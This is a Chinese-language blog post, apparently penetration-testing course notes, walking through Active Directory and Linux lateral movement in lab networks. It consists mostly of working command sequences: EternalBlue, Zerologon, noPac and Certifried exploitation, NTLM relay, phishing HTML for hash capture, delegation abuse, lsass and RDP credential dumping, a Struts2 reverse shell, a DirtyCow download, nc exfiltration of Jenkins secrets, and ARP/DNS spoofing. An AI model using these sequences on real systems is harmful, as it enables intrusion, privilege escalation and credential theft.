除去前述的口令传递的攻击方式之外,还可以从系统漏洞层面进行漏洞利用,如 CVE-2017-0146, 适用版本 Windows 7 8.1 10; Windows Server 2008 2 012 2016; 先如今,多数电脑已经配置上了补丁。由于 cs 只支持漏洞扫描,msf 支持漏洞利用,因此可以利用 msf 联动 cs 检测并利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# CS创建外联监听器
# 选择外围http的方式,并命名为msf,输入命令spawn msf,将当前主机的权限移交给msf

# msf运行ms 17010
# MSF监听联动配置
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 8888
run

# 添加路由
run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表

# 检测是否存在 17010 漏洞
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.3.21-32 //设置扫描目标段
set threads 5 //设置扫描线程数
run

# 利用模块
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp //目标不出网用正向连接上线
set rhost 192.168.3.25 //设置连接目标
set rhosts 192.168.3.25 //设置扫描目标
run

# MS14-068 (CVE-2014-6324)

见前面 PTT 横向移动课程演示

# CVE-2020-1472

适用 Windows Server 2008、2012、2016 、2019 等。需要先建立 socket 代理端口,将流量转发至公网上,并修改 hosts 文件保证域名解析正确。

重置密码:https://github.com/dirkjanm/CVE-2020-1472

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 获取计算机名
nbtscan -v -h 192.168.3.21

# 连接DC清空凭证
proxychains python cve- 2020 - 1472 - exploit.py OWA20N-GOD 192.168.3.21

# 获取域内HASH
proxychains python secretsdump.py OWA2010CN-GOD\$@192.168.3.21 -just-dc -no-pass

# 连接域控PTH
python wmiexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

# 后续恢复密码
https://github.com/risksense/zerologon
https://github.com/SecureAuthCorp/impacket

# CVE-2021-42287

需要一个域内普通账号,可以影响 Windows 基本全系列。

( 1 )参考项目地址:
https://github.com/cube0x0/noPac
https://learn.microsoft.com/zh-cn/sysinternals/downloads/pstools

( 2 )漏洞利用流程:
代理后:修改 Host 绑定域名和 IP
扫描探针: noPac scan -domain god.org -user webadmin -pass admin!@#45

( 3 )利用漏洞

1
2
3
4
5
6
7
8
9
# 创建一个和目标通讯的票据:
noPac -domain god.org -user webadmin -pass admin!@#45 /dc owa2010cn-god.god.org /mAccount dadd /mPassword sdadasdsa /service cifs /ptt

# 利用psexec弹出cmd窗口:
PsExec \\owa2010cn-god.god.org cmd

# 也可以利用python的以下脚本执行
# https://github.com/WazeHell/sam-the-admin
python sam_the_admin.py god/'webadmin:admin!@#45' -dc-ip 192.168.3.21

# CVE-2022-26923

当 Windows 系统的 Active Directory 证书服务 (CS) 在域上运行时,由于 机器账号中的 dNSHostName 属性不具有唯一性,域中普通用户可以将其更改为 高权限的域控机器账号属性,然后从 Active Directory 证书服务中获取域控机器 账户的证书,导致域中普通用户权限提升为域管理员权限。影响 Win8.1、Win1 0、Win11、WinServer2012R2、WinServer2016、WinServer2019、WinServer2022 等版本。

( 1 )前提条件:
一个域内普通账号、域内存在证书服务器 ,可以用 certutial -config -ping 可以判断,如果报错则不存在证书服务器,如果提示其他信息则说明存在,也 可以用 spn 检测。

1
2
3
4
5
6
7
8
9
# a. Kali添加访问域内信息 /etc/hosts
192.168.1.15 xiaodi.local xiaodi-WIN-3C7SS32SQ6R-CAWIN-3C7SS32SQ6 R.xiaodi.local

# b. 获取CA结构名和计算机名
certutil -config - - ping

# c. 域内信息: 192.168.1.15 test Pass123
xiaodi-WIN-3C7SS32SQ6R-CA
WIN-3C7SS32SQ6R.xiaodi.local

( 2 )漏洞利用步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# a. 申请低权限用户证书:
certipy req 'xiaodi.local/test:Pass123@WIN-3C7SS32SQ6R.xiaodi.local' -ca xiaodi-WIN-3C7SS32SQ6R-CA -template User -debug

# b. 检测证书:
certipy auth -pfx test.pfx

# c. 创建一个机器账户:
python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.1.15 addComputer pwnmachine 'CVEPassword1234*'

# d. 设置机器账户属性(dNSHostName和DC一致):
python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.1.15 setAttribute 'CN=pwnmachine,CN=Computers,DC=xiaodi,DC=local' dNSHostName '["WIN-3C7SS32SQ6R.xiaodi.local"]'

# e. 再次申请证书:
certipy req 'xiaodi.local/pwnmachine$:CVEPassword1234*@192.168.1.15' -template Machine -dc-ip 192.168.1.15 -ca xiaodi-WIN-3C7SS32SQ6R-CA

# f. 检测证书:
certipy auth -pfx ./win-3c7ss32sq6r.pfx -dc-ip 192.168.1.15

# g. 导出HASH:
python3 secretsdump.py 'xiaodi.local/win-3c7ss32sq6r$@WIN-3C7SS32SQ6R.xiaodi.local' -hashes :10e02bef2258ad9b239e2281a01827a4

# h. 利用HASH:
python3 wmiexec.py xiaodi.local/administrator@192.168.1.15 -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd

# 其他横向手段

# NTLM Relay 重放

与 NLTM 认证相关的安全问题主要有 Pass The Hash、利用 NTLM 进行信息收集、Net-NTLM Hash 破解、NTLM Relay 几种。PTH 前期已经了,运用 m imikatz、impacket 工具包的一些脚本、CS 等等都可以利用,NTLM Relay 又包括 (relay to smb,ldap,ews)

可以应用在获取不到明文或 HASH 时采用的手法,但也要注意手法的必备条件。

域内用户主机的非域用户角色即 administartor 登录 = 时,如果采用 dir \192.168.x.x\c$ 的方式去访问其他主机的文件,会将当前主机的用户名和密码进行 碰撞,如果对方主机恰好采用了相同的登录名和密码,则碰撞成功,取得访问权限成功。

条件:需要一台域内主机管理员权限,通讯双方当前用户密码一致

以下命令主要是用 msf 做了中继,现将 cs 中的主机联动到 msf,在 msf 中添加路由,选择 smb 重发模块,通过主动连接的方式使肉鸡可以连接到 msf。 当跳板机使用自己的用户名和密码去碰撞 kali 用户名密码时,msf 监听到此碰到并转发给肉机进行碰撞尝试。一旦碰撞成功,就会得到肉机的权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 设置木马
CS创建外联监听器,选择外围http的方式,并命名为msf,输入命令spawn msf,将当前主机的权限移交给msf

# MSF: 监听上线:
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 8888
run

# 添加路由:
run autoroute -p # 查看当前路由表
run post/multi/manage/autoroute # 添加当前路由表
backgroup # 返回

# 重发模块:
use exploit/windows/smb/smb_relay
set smbhost 192.168. 3. 32 //攻击目标
set rhost 192.168.3. 32 //设置连接目标
set autorunscript post/windows/manage/migrate

# 主动连接:
set payload windows/meterpreter/bind_tcp
dir \\192.168.46.166\c$ //设置本地IP
jobs 查看当前任务
jobs - K 删除当前任务
run
# system->administrator

cs: ps 看哪个进程启用的是 administrator 权限,利用 steal_token pid 来窃取权限,getuid 检验,检验得到是 administrator 的情况时,使用 shell dir \192.168.46.166\c$ 进行碰撞。此后将会在 msf 中上线肉机。

msf: 监听 smb 重发模块之后,返回跳板机 meterpreter 会话,选择 ps,查看拥有 administrator 权限的主机,输入 migrate pid 进行权限修改,getuid 检验权限,输入 shell 执行 dir \192.168.46.166\c$ 会上线肉机,通过 sessions 查看当前是否存在了新的肉机。

# NTLM Inveigh 嗅探

条件:被控主机当前管理员权限

( 1 )监听拦截 Inveigh.exe
项目地址:https://github.com/Kevin-Robertson/Inveigh
可以上传到肉机上,或者 socket 代理出来,执行之后配合钓鱼获取其他主机的 hash,获取到的是 NET NTLM HASH V1 或 V2。

( 2 )触发拦截

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 当肉机执行如下命令时会被拦截hash
dir \\192.168.3.x\c$

# 也可以构造内网web进行钓鱼触发http://192.168.3.31/1.html
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="file:///\\192.168.3.32\2">
</body>
</html>

# 破解密文 https://github.com/hashcat/hashcat/
hashcat -m 5600 hash pass.txt --show

# 委派攻击分类

参考链接:https://xz.aliyun.com/t/11555

( 1 )非约束性委派 - 没有限制

a. 非约束委派原理:
机器 A (域控) 访问具有非约束委派权限的机器 B 的服务,会把当前认证用户 (域管用户) 的的 TGT 放在 ST 票据中,一起发送给机器 B,机器 B 会把 TGT 存储在 lsass 进程中以备下次重用。从而机器 B 就能使用这个 TGT 模拟认 证用户 (域管用户) 访问服务。

b. 利用场景:
攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的 TGT,从而模拟域管用户。

c. 总结
首先判断委派的第三个设置,然后看针对用户,主动攻击。

( 2 )约束性委派 - 有限制

a. 约束委派原理:
由于非约束委派的不安全性,微软在 windows server 2003 中引入了约束委
派,对 Kerberos 协议进行了拓展,引入了 SService for User to Self (S4U2Self) 和 Service for User to Proxy (S4U2proxy)。

b. 利用场景:
如果攻击者控制了服务 A 的账号,并且服务 A 配置了到域控的 CIFS 服务的约束性委派。则攻击者可以先使用 S4u2seflt 申请域管用户(administrator)访问 A 服务的 ST1,然后使用 S4u2Proxy 以 administrator 身份访问域控的 CIFS 服务,即相当于控制了域控。

c. 总结
首先判断委派的第二个设置,然后看针对用户,后续钓鱼配合

( 3 )基于资源的约束性委派 - 资源方面的限制

a. 资源约束委派原理(不需要委派的任何设置!):
基于资源的约束委派 (RBCD) 是在 Windows Server 2012 中新加入的功能,
与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD 把 设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。 也就是说机器自身可以直接在自己账户上配置 msDS-AllowedToActOnBehalfOfO therIdentity 属性来设置 RBCD。

b. 利用条件:
域控 Windows2012 及以上、存在域内成员用户加入域操作

c. 总结
只看 DC 是不是 2012 及以上帮版本,然后看针对用户,主动攻击。计算机加入域时,加入域的域用户被控后也将导致使用当前域用户加入的计算机受控。

# 非约束委派

  • 复现配置

域控配置机器的委派属性,信任此计算机来委派任何服务,并且在域控上执行 setspn -U -A priv/test webadmin ,于是 webadmin 有了委派权限。

  • 判断委派权限的服务账户和机器账户:
1
2
3
4
5
# a. 查询域内设置了非约束委派的服务账户:
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

# b. 查询域内设置了非约束委派的机器账户:
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
  • 利用步骤:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# a. 域控与委派机器通讯
# 域控主动执行:
net use \\webserver

# 钓鱼诱使域管访问:http://192.168.3.31/31.html
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="file:///\\192.168.3.31\2">
</body>
</html>

# b. 导出票据到本地
mimikatz sekurlsa::tickets /export

# c. 导入票据到内存
mimikatz kerberos::ptt [0;fece8]- 2 - 0 - 60a00000-Administrator@krbtgt-GOD.ORG.kirbi

# d. 连接通讯域控
dir \\owa2010cn-god\c$

# 约束委派

  • 复现配置

机器设置仅信任此计算机指定服务 - cifs、用户设置仅信任此计算机指定服务 - cifs

  • 判断查询
1
2
3
4
5
# a. 查询机器用户配置约束委派
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

# b. 查询服务账户配置约束委派
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
  • 利用步骤:
1
2
3
4
5
6
7
8
9
10
11
12
13
# a. 获取用户的票据
kekeo "tgt::ask /user:webadmin /domain:god.org /password::admin!@#45 /ticket:administrator.kirbi" "exit"
kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:518b98ad4178a53695dc997aa02d455c /ticket:administrator.kirbi" "exit"

# b. 利用用户票据获取域控票据
kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god" "exit"
kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god.god.org" "exit"

# c. 导入票据到内存
mimikatz kerberos::ptt TGS_Administrator@god.org@GOD.ORG_cifs~owa2010cn-god.god.org@GOD.ORG.kirbi

# d. 连接通讯域控
shell dir \\owa2010cn-god.god.org\c$

# 资源约束委派

当多个计算机加入域时,可以使用同一域用户加入,如果有一台加入域的电脑被控,则其余使用该域用户加入域的主机都会被控。
计算机脱域时,需要输入域控账户密码,并且重启。计算机加入域时,需要域控先添加域用户,计算机通过此域用户加入域控,并且重启。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# 获取受害目标
# 有哪些域内计算机存在同一用户加入的
AdFind.exe -h 192.168.3.33 -b "DC=xiaodi,DC=local" -f "objectClass=computer" mS-DS-CreatorSID
# 查看是否有相同sid值,有的话可以判断出有多用户使用该域用户加入了域

# 判断受害用户
sid2user.exe \\192.168.3.3 5 21 1695257952 3088263962 2055235443 1104

# 普通域用户设置用户名密码,为域控增加机器
# 项目地址:https://github.com/Kevin-Robertson/Powermad
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

# 获取新加的计算器的sid:
# 工具地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Import-Module .\PowerView.ps1
Get-NetComputer serviceA -Properties objectsid
S-1-5-21-1695257952-3088263962-2055235443-1107

# 设置修改属性
import-module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1695257 952-3088263962-2055235443-1107)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

# 修改原主机data用户的相关属性
Get-DomainComputer DATA| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

# 验证修改是否成功
Get-DomainComputer DATA -Properties msds-allowedtoactonbehalfofotheridentity

# 清除修改设置
Set-DomainObject DATA -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

# 建立代理连接目标获取票据:
# 需要修改本地hosts文件,将以下两个域名从本地hosts文件中解析
python getST.py -dc-ip 192.168.3.33 xiaodi.local/serviceA\$:123456 -spn cifs/data.xiaodi.local -impersonate administrator

# 对票据进行操作
# 导入票据到内存:
mimikatz kerberos::ptc administrator.ccache

# 连接利用票据:
dir \\data.xiaodi.local\c$
python psexec.py -k xiaodi.local/administrator@data.xiaodi.local -no-pass

# 横向 linux

( 1 )Web DMZ 权限获取

1
2
3
4
5
6
7
8
9
10
# 信息收集:
nmap 172.16.250.0/24

# 根据确定的 80 上的opensms10.3搜索漏洞利用方法:/struts2-showcase
# 利用msf进行st 2 漏洞利用:
use exploit/multi/http/struts2_content_type_ognl
set payload linux/x64/meterpreter/reverse_tcp
set rhosts 172.16.250.10
set lport 80
run

( 2 )脏牛漏洞权限提升至 root(会把服务器打崩)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 下载exp
curl https://raw.githubusercontent.com/sqlnetcat/dirtycow-mem/master/dirtycow-mem.c

# msf
upload /root/dirtycow-mem.c /tmp
shell
gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
python3 -c "import pty;pty.spawn('/bin/bash')"
./dirtycow-mem

# 稳定脏牛漏洞带来对系统的危害:
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oo
ps && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn

( 3 )linux 信息收集:

1
2
3
4
5
6
7
8
9
10
11
12
# 找到敏感文件
/opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties

# 发现存在172.16.250.30 8080的网站,但只允许跳板机访问,可以用ssh做代理转发流量
# 找到ssh的私钥文件可以连接到jenkins机器,进行远程登录
cat ~/.bash_history
cp ~/.ssh/id_rsa /tmp/id_rsa
chmod 777 id_rsa
download /tmp/id_rsa /root/id_rsa
chmod 0600 id_rsa
ssh -i id_rsa root@172.16.250.30
netstat - tunlp

( 4 )msf 设置代理将端口转发

1
2
3
4
5
6
7
8
9
10
# set
use auxiliary/server/server/socks_proxy
set srvport 2222
run

# conf
jobs 查看当前工作是否正常
vim /etc/proxychains4.conf
dynamic_chain 只需保证一个代理正确即可使用
#strict_chain 需保证每一个代理都准确

( 5 )Jenkins DMZ 后台存储的密钥传输

1
2
3
4
5
6
7
8
9
# 本地用nc接受文件:
nc -lvp 1234 > master.key
nc -lvp 1234 > hudson.util.Secret
nc -lvp 1234 > credentials.xml

# 肉鸡用nc将文件反向传输出去:
nc 172.16.250.128 1234 < /home/jenkins/secrets/hudson.util.Secret
nc 172.16.250.128 1234 < /home/jenkins/secrets/master.key
nc 172.16.250.128 1234 < /home/jenkins/credentials.xml

( 6 )破解密匙:
项目地址:https://github.com/cheetz/jenkins-decrypt
python decrypt.py master.key hudson.util.Secret credentials.xml

( 7 )Database DMZ 权限获取
密码横向: ssh db_backup@172.16.250.50
)uDvra{4UL^;r?*h
权限提升:getuid 及 sudo su

# 密码获取

  • Linux 密码获取及破解

( 1 )密码读取 - 没啥用、适用版本少:
项目地址:https://github.com/huntergregal/mimipenguin
使用方法:sh mimipenguin.sh

( 2 )密码破解(SHA 512 居多)- 不容易破解:

1
2
3
4
5
6
7
8
9
10
11
# 根据shadow获取root密码进行破解
cat /etc/shadow
hashcat.exe -a 3 -m 1800 linuxhash.txt pass.txt

# 加密形式
linux sha512crypt $6$, SHA512 (Unix)加密方式:hashcat -m 1800 sha512linux.txt p.txt
linux sha256crypt $5$, SHA256 (Unix)加密方式:hashcat -m 7400 sha256linux.txt p.txt
linux md5crypt, MD5 (Unix), Cisco-IOS$1$ (MD5)加密方式:hashcat -m 500 linuxmd5.txt p.txt

# linux下bcrypt $2*$, Blowfish加密方式:
hashcat -m 3200 linuxmd5.txt p.txt
  • Windows 密码获取

微软为了防止明文密码泄露发布了补丁 KB2871997,关闭了 Wdigest 功能。 当系统为 win10 或 2012R2 以上时,默认在内存缓存中禁止保存明文密码,Win dows-Mimikatz 会无法导出明文,此时可以通过修改注册表的方式抓取明文,但 需要用户重新登录后才能成功抓取。获取明文信息可以方便横向移动,可以有 更多的字典组合,明文要比 hash 要好用的多。

( 1 )在线读

工具地址:https://github.com/gentilkiwi/mimikatz
`mimikatz.exe “privilege::debug” “log” “sekurlsa::logonpasswords”``

( 2 )离线读

链接:https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

在 2012server 后只能读取到 hash 而不能读取到明文密码,Procdump 是微软 官方的工具,可在命令行将 lsass 导出且杀软不会拦截,针对防护拦截 Mimikat z,用 procdump 将密码或 hash 转储到 lsass,在用本地的 mimikaztz 进行离线解析,或直接从从内存中将数据导出。

1
2
3
4
# 转储 lsass
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.DMP"
sekurlsa::logonPasswords full

( 3 )解决高版本

修改注册表 + 强制锁屏 + 等待系统管理员重新登录 + 截取明文密码
修改注册表来让 Wdigest Auth 保存明文口令方式
shell reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1
再次使用 mimikatz 时,将可以成功导出明文票据

( 4 )HASH 破解
方法:hashcat 工具 cmd5、 somd5 在线网站

1
2
3
4
5
6
7
8
# hashcat使用方法如下:
# 字典破解
.\hashcat.exe -a 0 -m 1000 .\hash.txt .\pass.txt

# 暴力破解
hashcat.exe -a 3 -m 1000 518b98ad4178a53695dc997aa02d455c?l?l?l?l?l?s?s?s?d?d
-m 密文类型
-a 破解类型 ?l 小写 ?s 符号 ?d 数字

( 5 )RDP 凭据抓取
mstsc 连接过其他机器,如果选择保存凭剧,则可以通过以下方式导出 rdp 密码。

1
2
3
4
5
6
7
8
9
10
11
12
# 查看连接记录
cmdkey /list

# 查找本地的Credentials
dir /a %userprofile%\appdata\local\microsoft\credentials\*Credentials记录guidMasterKey值:
mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\ local\microsoft\credentials\5FBB2585F99BA05366F08E52F1C1740B

# 找到guidMasterKey对应的MasterKey:
mimikatz sekurlsa::dpapi

# system权限解密指定的MasterKey凭据:
mimikatz dpapi::cred /in:C:\Users\webadmin\appdata\local\microsoft\credential s\ 5FBB2585F99BA05366F08E52F1C1740B /masterkey:f70e1a641096f1b63731d571b43b33aaf009f6af5a3352504e6ddb3cd158f17eec2d541f18b8289ebf547d871dfb257a6bbbd5232550eb6f26a06d39378da4a5

凭据导出:https://github.com/WazeHell/sam-the-admin
python sam_the_admin.py test0/‘xiaodi:admin!@#45’ -dc-ip 192.168.10.20 -shell

# 父域子域

设置父子域的时候,先设置父域及其控制的两台域用户电脑。对三台电脑 分别配置 ip 地址,并解析到父域的 ip 上,修改三者的计算机名称。对父域的服 务器管理做设置,选择添加角色和功能向导,服务器角色配置中选择域服务, 完成之后将此计算机提升为域控,并添加新林,设定自定义域,netbios 名称等。

通过在父域上添加新的角色,并使普通计算机以域用户身份加入域即可加 入该父域。子域的设置时,需要在父域上先开启 DNS 的一个开关,然后将子域 按照父域的设置方式添加角色和功能向导,区别在于设置为域控方式为加入域 为现有林,林为父域的信息,并自定义相关内容之后即可成功设置为子域。

子域控制的计算机,其 dns 解析地址需要设置为子域控的 ip 地址。同父域 管辖的计算机一样,通过给子域管辖的计算机设置新的用户名供其登录。修改 子域控的 dns 解析,首选本身,备选为父域控。而后将最后一台电脑加入到子 域即可。

# 局域网渗透

  • 单向欺骗和双向欺骗

单向欺骗:攻击机伪造数据包后本应该传输给靶机的数据错误的传输给攻 击机,使靶机得不到服务器的响应数据,甚至根本无法将数据包发送出局域网。

双向欺骗:攻击机一直发送伪造的数据包,欺骗网关自己是靶机,欺骗靶 机自己是网关,同时开启路由转发功能,就可以让靶机在正常上网的情况下截 获网络数据包,所有数据都会经过攻击机再转发给靶机。

  • 单向断网限制

科来网络分析系统,科来数据包生成器,封装数据包,给靶机造成假象,认为攻击机才是网关地址,造成靶机无法正常上网。

  • 双向劫持数据

Arpspoof Wireshark 科来网络分析系统
Arpspoof Windows:https://github.com/alandau/arpspoof
Arpspoof Linux:apt-get install dsniff

1
2
3
4
5
6
7
8
9
10
# 开启转发
echo 1 >> /proc/sys/net/ipv4/ip_forward
# 如果不开启转发,流量被检测到之后,对方无法正常通讯网络

# 开启欺骗
arpspoof -i eth0 -t 192.168.1.9 -r 192.168.1.1
# - i 指定进行arp攻击的网卡、-t 目标主机IP、-r 进行双向攻击、最后为网关的IP地址

# WireShark&科来网络分析系统:
# 分析是否能够捕获到双向劫持靶机上的流量 ip.addr==192.168.1.9
  • 双向 DNS 劫持配合钓鱼:

使用 kali 自带的 ettercap -G 进行 dns 劫持,将目标主机访问特定 url 地址的 流量解析到 ettercap 配置文件中规定的解析地址,一般会在 kali 上开启 apache 服 务进行钓鱼。注意需要清除靶机上的 dns 缓存、浏览器缓存等。

设置劫持网卡、扫描网卡存活 IP、选择攻击目标 IP、启用 ARP 监听模式、 设置 DNS 劫持规则、启用 DNS 劫持插件。

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝